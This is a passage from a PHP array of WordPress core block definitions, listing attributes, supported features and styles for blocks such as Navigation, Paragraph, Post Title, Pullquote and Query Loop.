=> array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'figure a', 'attribute' => 'target' ), 'href' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'figure a', 'attribute' => 'href', '__experimentalRole' => 'content' ), 'rel' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'figure a', 'attribute' => 'rel' ), 'linkClass' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'figure a', 'attribute' => 'class' ), 'mediaType' => array( 'type' => 'string', '__experimentalRole' => 'content' ), 'mediaWidth' => array( 'type' => 'number', 'default' => 50 ), 'mediaSizeSlug' => array( 'type' => 'string' ), 'isStackedOnMobile' => array( 'type' => 'boolean', 'default' => true ), 'verticalAlignment' => array( 'type' => 'string' ), 'imageFill' => array( 'type' => 'boolean' ), 'focalPoint' => array( 'type' => 'object' ), 'allowedBlocks' => array( 'type' => 'array' ) ), 'supports' => array( 'anchor' => true, 'align' => array( 'wide', 'full' ), 'html' => false, 'color' => array( 'gradients' => true, 'heading' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ) ), 'editorStyle' => 'wp-block-media-text-editor', 'style' => 'wp-block-media-text' ), 'missing' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/missing', 'title' => 'Unsupported', 'category' => 'text', 'description' => 'Your site doesn’t include support for this block.', 'textdomain' => 'default', 'attributes' => array( 'originalName' => array( 'type' => 'string' ), 'originalUndelimitedContent' => array( 'type' => 'string' ), 'originalContent' => array( 'type' => 'string', 'source' => 'html' ) ), 'supports' => array( 'className' => false, 'customClassName' => false, 'inserter' => false, 'html' => false, 'reusable' => false ) ), 'more' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/more', 'title' => 'More', 'category' => 'design', 'description' => 'Content before this block will be shown in the excerpt on your archives page.', 'keywords' => array( 'read more' ), 'textdomain' => 'default', 'attributes' => array( 'customText' => array( 'type' => 'string' ), 'noTeaser' => array( 'type' => 'boolean', 'default' => false ) ), 'supports' => array( 'customClassName' => false, 'className' => false, 'html' => false, 'multiple' => false ), 'editorStyle' => 'wp-block-more-editor' ), 'navigation' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/navigation', 'title' => 'Navigation', 'category' => 'theme', 'description' => 'A collection of blocks that allow visitors to get around your site.', 'keywords' => array( 'menu', 'navigation', 'links' ), 'textdomain' => 'default', 'attributes' => array( 'ref' => array( 'type' => 'number' ), 'textColor' => array( 'type' => 'string' ), 'customTextColor' => array( 'type' => 'string' ), 'rgbTextColor' => array( 'type' => 'string' ), 'backgroundColor' => array( 'type' => 'string' ), 'customBackgroundColor' => array( 'type' => 'string' ), 'rgbBackgroundColor' => array( 'type' => 'string' ), 'showSubmenuIcon' => array( 'type' => 'boolean', 'default' => true ), 'openSubmenusOnClick' => array( 'type' => 'boolean', 'default' => false ), 'overlayMenu' => array( 'type' => 'string', 'default' => 'mobile' ), 'icon' => array( 'type' => 'string', 'default' => 'handle' ), 'hasIcon' => array( 'type' => 'boolean', 'default' => true ), '__unstableLocation' => array( 'type' => 'string' ), 'overlayBackgroundColor' => array( 'type' => 'string' ), 'customOverlayBackgroundColor' => array( 'type' => 'string' ), 'overlayTextColor' => array( 'type' => 'string' ), 'customOverlayTextColor' => array( 'type' => 'string' ), 'maxNestingLevel' => array( 'type' => 'number', 'default' => 5 ), 'templateLock' => array( 'type' => array( 'string', 'boolean' ), 'enum' => array( 'all', 'insert', 'contentOnly', false ) ) ), 'providesContext' => array( 'textColor' => 'textColor', 'customTextColor' => 'customTextColor', 'backgroundColor' => 'backgroundColor', 'customBackgroundColor' => 'customBackgroundColor', 'overlayTextColor' => 'overlayTextColor', 'customOverlayTextColor' => 'customOverlayTextColor', 'overlayBackgroundColor' => 'overlayBackgroundColor', 'customOverlayBackgroundColor' => 'customOverlayBackgroundColor', 'fontSize' => 'fontSize', 'customFontSize' => 'customFontSize', 'showSubmenuIcon' => 'showSubmenuIcon', 'openSubmenusOnClick' => 'openSubmenusOnClick', 'style' => 'style', 'maxNestingLevel' => 'maxNestingLevel' ), 'supports' => array( 'align' => array( 'wide', 'full' ), 'ariaLabel' => true, 'html' => false, 'inserter' => true, 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontStyle' => true, '__experimentalFontWeight' => true, '__experimentalTextTransform' => true, '__experimentalFontFamily' => true, '__experimentalLetterSpacing' => true, '__experimentalTextDecoration' => true, '__experimentalSkipSerialization' => array( 'textDecoration' ), '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'spacing' => array( 'blockGap' => true, 'units' => array( 'px', 'em', 'rem', 'vh', 'vw' ), '__experimentalDefaultControls' => array( 'blockGap' => true ) ), 'layout' => array( 'allowSwitching' => false, 'allowInheriting' => false, 'allowVerticalAlignment' => false, 'allowSizingOnChildren' => true, 'default' => array( 'type' => 'flex' ) ), '__experimentalStyle' => array( 'elements' => array( 'link' => array( 'color' => array( 'text' => 'inherit' ) ) ) ), 'interactivity' => true ), 'viewScript' => 'file:./view.min.js', 'editorStyle' => 'wp-block-navigation-editor', 'style' => 'wp-block-navigation' ), 'navigation-link' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/navigation-link', 'title' => 'Custom Link', 'category' => 'design', 'parent' => array( 'core/navigation' ), 'description' => 'Add a page, link, or another item to your navigation.', 'textdomain' => 'default', 'attributes' => array( 'label' => array( 'type' => 'string' ), 'type' => array( 'type' => 'string' ), 'description' => array( 'type' => 'string' ), 'rel' => array( 'type' => 'string' ), 'id' => array( 'type' => 'number' ), 'opensInNewTab' => array( 'type' => 'boolean', 'default' => false ), 'url' => array( 'type' => 'string' ), 'title' => array( 'type' => 'string' ), 'kind' => array( 'type' => 'string' ), 'isTopLevelLink' => array( 'type' => 'boolean' ) ), 'usesContext' => array( 'textColor', 'customTextColor', 'backgroundColor', 'customBackgroundColor', 'overlayTextColor', 'customOverlayTextColor', 'overlayBackgroundColor', 'customOverlayBackgroundColor', 'fontSize', 'customFontSize', 'showSubmenuIcon', 'maxNestingLevel', 'style' ), 'supports' => array( 'reusable' => false, 'html' => false, '__experimentalSlashInserter' => true, 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ) ), 'editorStyle' => 'wp-block-navigation-link-editor', 'style' => 'wp-block-navigation-link' ), 'navigation-submenu' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/navigation-submenu', 'title' => 'Submenu', 'category' => 'design', 'parent' => array( 'core/navigation' ), 'description' => 'Add a submenu to your navigation.', 'textdomain' => 'default', 'attributes' => array( 'label' => array( 'type' => 'string' ), 'type' => array( 'type' => 'string' ), 'description' => array( 'type' => 'string' ), 'rel' => array( 'type' => 'string' ), 'id' => array( 'type' => 'number' ), 'opensInNewTab' => array( 'type' => 'boolean', 'default' => false ), 'url' => array( 'type' => 'string' ), 'title' => array( 'type' => 'string' ), 'kind' => array( 'type' => 'string' ), 'isTopLevelItem' => array( 'type' => 'boolean' ) ), 'usesContext' => array( 'textColor', 'customTextColor', 'backgroundColor', 'customBackgroundColor', 'overlayTextColor', 'customOverlayTextColor', 'overlayBackgroundColor', 'customOverlayBackgroundColor', 'fontSize', 'customFontSize', 'showSubmenuIcon', 'maxNestingLevel', 'openSubmenusOnClick', 'style' ), 'supports' => array( 'reusable' => false, 'html' => false ), 'editorStyle' => 'wp-block-navigation-submenu-editor', 'style' => 'wp-block-navigation-submenu' ), 'nextpage' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/nextpage', 'title' => 'Page Break', 'category' => 'design', 'description' => 'Separate your content into a multi-page experience.', 'keywords' => array( 'next page', 'pagination' ), 'parent' => array( 'core/post-content' ), 'textdomain' => 'default', 'supports' => array( 'customClassName' => false, 'className' => false, 'html' => false ), 'editorStyle' => 'wp-block-nextpage-editor' ), 'page-list' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/page-list', 'title' => 'Page List', 'category' => 'widgets', 'description' => 'Display a list of all pages.', 'keywords' => array( 'menu', 'navigation' ), 'textdomain' => 'default', 'attributes' => array( 'parentPageID' => array( 'type' => 'integer', 'default' => 0 ), 'isNested' => array( 'type' => 'boolean', 'default' => false ) ), 'usesContext' => array( 'textColor', 'customTextColor', 'backgroundColor', 'customBackgroundColor', 'overlayTextColor', 'customOverlayTextColor', 'overlayBackgroundColor', 'customOverlayBackgroundColor', 'fontSize', 'customFontSize', 'showSubmenuIcon', 'style', 'openSubmenusOnClick' ), 'supports' => array( 'reusable' => false, 'html' => false, 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ) ), 'editorStyle' => 'wp-block-page-list-editor', 'style' => 'wp-block-page-list' ), 'page-list-item' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/page-list-item', 'title' => 'Page List Item', 'category' => 'widgets', 'parent' => array( 'core/page-list' ), 'description' => 'Displays a page inside a list of all pages.', 'keywords' => array( 'page', 'menu', 'navigation' ), 'textdomain' => 'default', 'attributes' => array( 'id' => array( 'type' => 'number' ), 'label' => array( 'type' => 'string' ), 'title' => array( 'type' => 'string' ), 'link' => array( 'type' => 'string' ), 'hasChildren' => array( 'type' => 'boolean' ) ), 'usesContext' => array( 'textColor', 'customTextColor', 'backgroundColor', 'customBackgroundColor', 'overlayTextColor', 'customOverlayTextColor', 'overlayBackgroundColor', 'customOverlayBackgroundColor', 'fontSize', 'customFontSize', 'showSubmenuIcon', 'style', 'openSubmenusOnClick' ), 'supports' => array( 'reusable' => false, 'html' => false, 'lock' => false, 'inserter' => false, '__experimentalToolbar' => false ), 'editorStyle' => 'wp-block-page-list-editor', 'style' => 'wp-block-page-list' ), 'paragraph' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/paragraph', 'title' => 'Paragraph', 'category' => 'text', 'description' => 'Start with the basic building block of all narrative.', 'keywords' => array( 'text' ), 'textdomain' => 'default', 'usesContext' => array( 'postId' ), 'attributes' => array( 'align' => array( 'type' => 'string' ), 'content' => array( 'type' => 'string', 'source' => 'html', 'selector' => 'p', 'default' => '', '__experimentalRole' => 'content' ), 'dropCap' => array( 'type' => 'boolean', 'default' => false ), 'placeholder' => array( 'type' => 'string' ), 'direction' => array( 'type' => 'string', 'enum' => array( 'ltr', 'rtl' ) ) ), 'supports' => array( 'anchor' => true, 'className' => false, 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), '__experimentalConnections' => true, 'spacing' => array( 'margin' => true, 'padding' => true, '__experimentalDefaultControls' => array( 'margin' => false, 'padding' => false ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalTextDecoration' => true, '__experimentalFontStyle' => true, '__experimentalFontWeight' => true, '__experimentalLetterSpacing' => true, '__experimentalTextTransform' => true, '__experimentalWritingMode' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), '__experimentalSelector' => 'p', '__unstablePasteTextInline' => true ), 'editorStyle' => 'wp-block-paragraph-editor', 'style' => 'wp-block-paragraph' ), 'pattern' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/pattern', 'title' => 'Pattern placeholder', 'category' => 'theme', 'description' => 'Show a block pattern.', 'supports' => array( 'html' => false, 'inserter' => false ), 'textdomain' => 'default', 'attributes' => array( 'slug' => array( 'type' => 'string' ) ) ), 'post-author' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/post-author', 'title' => 'Author', 'category' => 'theme', 'description' => 'Display post author details such as name, avatar, and bio.', 'textdomain' => 'default', 'attributes' => array( 'textAlign' => array( 'type' => 'string' ), 'avatarSize' => array( 'type' => 'number', 'default' => 48 ), 'showAvatar' => array( 'type' => 'boolean', 'default' => true ), 'showBio' => array( 'type' => 'boolean' ), 'byline' => array( 'type' => 'string' ), 'isLink' => array( 'type' => 'boolean', 'default' => false ), 'linkTarget' => array( 'type' => 'string', 'default' => '_self' ) ), 'usesContext' => array( 'postType', 'postId', 'queryId' ), 'supports' => array( 'html' => false, 'spacing' => array( 'margin' => true, 'padding' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDuotone' => '.wp-block-post-author__avatar img', '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ) ), 'style' => 'wp-block-post-author' ), 'post-author-biography' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/post-author-biography', 'title' => 'Author Biography', 'category' => 'theme', 'description' => 'The author biography.', 'textdomain' => 'default', 'attributes' => array( 'textAlign' => array( 'type' => 'string' ) ), 'usesContext' => array( 'postType', 'postId' ), 'supports' => array( 'spacing' => array( 'margin' => true, 'padding' => true ), 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ) ) ), 'post-author-name' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/post-author-name', 'title' => 'Author Name', 'category' => 'theme', 'description' => 'The author name.', 'textdomain' => 'default', 'attributes' => array( 'textAlign' => array( 'type' => 'string' ), 'isLink' => array( 'type' => 'boolean', 'default' => false ), 'linkTarget' => array( 'type' => 'string', 'default' => '_self' ) ), 'usesContext' => array( 'postType', 'postId' ), 'supports' => array( 'html' => false, 'spacing' => array( 'margin' => true, 'padding' => true ), 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true, 'link' => true ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ) ) ), 'post-comments-form' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/post-comments-form', 'title' => 'Comments Form', 'category' => 'theme', 'description' => 'Display a post\'s comments form.', 'textdomain' => 'default', 'attributes' => array( 'textAlign' => array( 'type' => 'string' ) ), 'usesContext' => array( 'postId', 'postType' ), 'supports' => array( 'html' => false, 'color' => array( 'gradients' => true, 'heading' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontStyle' => true, '__experimentalFontWeight' => true, '__experimentalLetterSpacing' => true, '__experimentalTextTransform' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ) ), 'editorStyle' => 'wp-block-post-comments-form-editor', 'style' => array( 'wp-block-post-comments-form', 'wp-block-buttons', 'wp-block-button' ) ), 'post-content' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/post-content', 'title' => 'Content', 'category' => 'theme', 'description' => 'Displays the contents of a post or page.', 'textdomain' => 'default', 'usesContext' => array( 'postId', 'postType', 'queryId' ), 'supports' => array( 'align' => array( 'wide', 'full' ), 'html' => false, 'layout' => true, 'dimensions' => array( 'minHeight' => true ), 'spacing' => array( 'blockGap' => true ), 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => false, 'text' => false ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ) ), 'editorStyle' => 'wp-block-post-content-editor' ), 'post-date' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/post-date', 'title' => 'Date', 'category' => 'theme', 'description' => 'Display the publish date for an entry such as a post or page.', 'textdomain' => 'default', 'attributes' => array( 'textAlign' => array( 'type' => 'string' ), 'format' => array( 'type' => 'string' ), 'isLink' => array( 'type' => 'boolean', 'default' => false ), 'displayType' => array( 'type' => 'string', 'default' => 'date' ) ), 'usesContext' => array( 'postId', 'postType', 'queryId' ), 'supports' => array( 'html' => false, 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true, 'link' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ) ) ), 'post-excerpt' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/post-excerpt', 'title' => 'Excerpt', 'category' => 'theme', 'description' => 'Display the excerpt.', 'textdomain' => 'default', 'attributes' => array( 'textAlign' => array( 'type' => 'string' ), 'moreText' => array( 'type' => 'string' ), 'showMoreOnNewLine' => array( 'type' => 'boolean', 'default' => true ), 'excerptLength' => array( 'type' => 'number', 'default' => 55 ) ), 'usesContext' => array( 'postId', 'postType', 'queryId' ), 'supports' => array( 'html' => false, 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true, 'link' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ) ), 'editorStyle' => 'wp-block-post-excerpt-editor', 'style' => 'wp-block-post-excerpt' ), 'post-featured-image' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/post-featured-image', 'title' => 'Featured Image', 'category' => 'theme', 'description' => 'Display a post\'s featured image.', 'textdomain' => 'default', 'attributes' => array( 'isLink' => array( 'type' => 'boolean', 'default' => false ), 'aspectRatio' => array( 'type' => 'string' ), 'width' => array( 'type' => 'string' ), 'height' => array( 'type' => 'string' ), 'scale' => array( 'type' => 'string', 'default' => 'cover' ), 'sizeSlug' => array( 'type' => 'string' ), 'rel' => array( 'type' => 'string', 'attribute' => 'rel', 'default' => '' ), 'linkTarget' => array( 'type' => 'string', 'default' => '_self' ), 'overlayColor' => array( 'type' => 'string' ), 'customOverlayColor' => array( 'type' => 'string' ), 'dimRatio' => array( 'type' => 'number', 'default' => 0 ), 'gradient' => array( 'type' => 'string' ), 'customGradient' => array( 'type' => 'string' ) ), 'usesContext' => array( 'postId', 'postType', 'queryId' ), 'supports' => array( 'align' => array( 'left', 'right', 'center', 'wide', 'full' ), 'color' => array( '__experimentalDuotone' => 'img, .wp-block-post-featured-image__placeholder, .components-placeholder__illustration, .components-placeholder::before', 'text' => false, 'background' => false ), '__experimentalBorder' => array( 'color' => true, 'radius' => true, 'width' => true, '__experimentalSelector' => 'img, .block-editor-media-placeholder, .wp-block-post-featured-image__overlay', '__experimentalSkipSerialization' => true, '__experimentalDefaultControls' => array( 'color' => true, 'radius' => true, 'width' => true ) ), 'html' => false, 'spacing' => array( 'margin' => true, 'padding' => true ) ), 'editorStyle' => 'wp-block-post-featured-image-editor', 'style' => 'wp-block-post-featured-image' ), 'post-navigation-link' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/post-navigation-link', 'title' => 'Post Navigation Link', 'category' => 'theme', 'description' => 'Displays the next or previous post link that is adjacent to the current post.', 'textdomain' => 'default', 'attributes' => array( 'textAlign' => array( 'type' => 'string' ), 'type' => array( 'type' => 'string', 'default' => 'next' ), 'label' => array( 'type' => 'string' ), 'showTitle' => array( 'type' => 'boolean', 'default' => false ), 'linkLabel' => array( 'type' => 'boolean', 'default' => false ), 'arrow' => array( 'type' => 'string', 'default' => 'none' ) ), 'supports' => array( 'reusable' => false, 'html' => false, 'color' => array( 'link' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalWritingMode' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ) ), 'style' => 'wp-block-post-navigation-link' ), 'post-template' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/post-template', 'title' => 'Post Template', 'category' => 'theme', 'parent' => array( 'core/query' ), 'description' => 'Contains the block elements used to render a post, like the title, date, featured image, content or excerpt, and more.', 'textdomain' => 'default', 'usesContext' => array( 'queryId', 'query', 'queryContext', 'displayLayout', 'templateSlug', 'previewPostType', 'enhancedPagination' ), 'supports' => array( 'reusable' => false, 'html' => false, 'align' => array( 'wide', 'full' ), 'layout' => true, 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'spacing' => array( 'blockGap' => array( '__experimentalDefault' => '1.25em' ), '__experimentalDefaultControls' => array( 'blockGap' => true ) ) ), 'style' => 'wp-block-post-template', 'editorStyle' => 'wp-block-post-template-editor' ), 'post-terms' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/post-terms', 'title' => 'Post Terms', 'category' => 'theme', 'description' => 'Post terms.', 'textdomain' => 'default', 'attributes' => array( 'term' => array( 'type' => 'string' ), 'textAlign' => array( 'type' => 'string' ), 'separator' => array( 'type' => 'string', 'default' => ', ' ), 'prefix' => array( 'type' => 'string', 'default' => '' ), 'suffix' => array( 'type' => 'string', 'default' => '' ) ), 'usesContext' => array( 'postId', 'postType' ), 'supports' => array( 'html' => false, 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true, 'link' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ) ), 'style' => 'wp-block-post-terms' ), 'post-title' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/post-title', 'title' => 'Title', 'category' => 'theme', 'description' => 'Displays the title of a post, page, or any other content-type.', 'textdomain' => 'default', 'usesContext' => array( 'postId', 'postType', 'queryId' ), 'attributes' => array( 'textAlign' => array( 'type' => 'string' ), 'level' => array( 'type' => 'number', 'default' => 2 ), 'isLink' => array( 'type' => 'boolean', 'default' => false ), 'rel' => array( 'type' => 'string', 'attribute' => 'rel', 'default' => '' ), 'linkTarget' => array( 'type' => 'string', 'default' => '_self' ) ), 'supports' => array( 'align' => array( 'wide', 'full' ), 'html' => false, 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true, 'link' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true, 'fontAppearance' => true, 'textTransform' => true ) ) ), 'style' => 'wp-block-post-title' ), 'preformatted' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/preformatted', 'title' => 'Preformatted', 'category' => 'text', 'description' => 'Add text that respects your spacing and tabs, and also allows styling.', 'textdomain' => 'default', 'attributes' => array( 'content' => array( 'type' => 'string', 'source' => 'html', 'selector' => 'pre', 'default' => '', '__unstablePreserveWhiteSpace' => true, '__experimentalRole' => 'content' ) ), 'supports' => array( 'anchor' => true, 'color' => array( 'gradients' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'spacing' => array( 'padding' => true, 'margin' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ) ), 'style' => 'wp-block-preformatted' ), 'pullquote' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/pullquote', 'title' => 'Pullquote', 'category' => 'text', 'description' => 'Give special visual emphasis to a quote from your text.', 'textdomain' => 'default', 'attributes' => array( 'value' => array( 'type' => 'string', 'source' => 'html', 'selector' => 'p', '__experimentalRole' => 'content' ), 'citation' => array( 'type' => 'string', 'source' => 'html', 'selector' => 'cite', 'default' => '', '__experimentalRole' => 'content' ), 'textAlign' => array( 'type' => 'string' ) ), 'supports' => array( 'anchor' => true, 'align' => array( 'left', 'right', 'wide', 'full' ), 'color' => array( 'gradients' => true, 'background' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true, 'fontAppearance' => true ) ), '__experimentalBorder' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true, '__experimentalDefaultControls' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true ) ), '__experimentalStyle' => array( 'typography' => array( 'fontSize' => '1.5em', 'lineHeight' => '1.6' ) ) ), 'editorStyle' => 'wp-block-pullquote-editor', 'style' => 'wp-block-pullquote' ), 'query' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/query', 'title' => 'Query Loop', 'category' => 'theme', 'description' => 'An advanced block that allows displaying post types based on different query parameters and visual configurations.', 'textdomain' => 'default', 'attributes' => array( 'queryId' => array( 'type' => 'number' ), 'query' => array( 'type' => 'object', 'default' => array( 'perPage' => null, 'pages' => 0, 'offset' => 0, 'postType' => 'post', 'order' => 'desc', 'orderBy' => 'date', 'author' => '', 'search' => '', 'exclude' => array( ), 'sticky' => '', 'inherit' => true, 'taxQuery' => null, 'parents' => array( ) ) ), 'tagName' => array( 'type' => 'string', 'default' => 'div' ), 'namespace' => array( 'type' => 'string' ), 'enhancedPagination' => array( 'type' => 'boolean', 'default' => false ) ), 'providesContext' => array( 'queryId' => 'queryId', 'query' => 'query', 'displayLayout' => 'displayLayout', 'enhancedPagination' => 'enhancedPagination' ), 'supports' => array( 'align' => array( 'wide', 'full' ), 'html' => false, 'layout' => true ), 'editorStyle' => 'wp-block-query-editor', 'style' => 'wp-block-query', 'viewScript' => 'file:./view.min.js' ), 'query-no-results' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/query-no-results', 'title' => 'No results', 'category' => 'theme', 'description' => 'Contains the block elements used to render content when no query results are found.', 'parent' => array( 'core/query' ), 'textdomain' => 'default', 'usesContext' => array( 'queryId', 'query' ), 'supports' => array( 'align' => true, 'reusable' => false, 'html' => false, 'color' => array( 'gradients' => true, 'link' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, 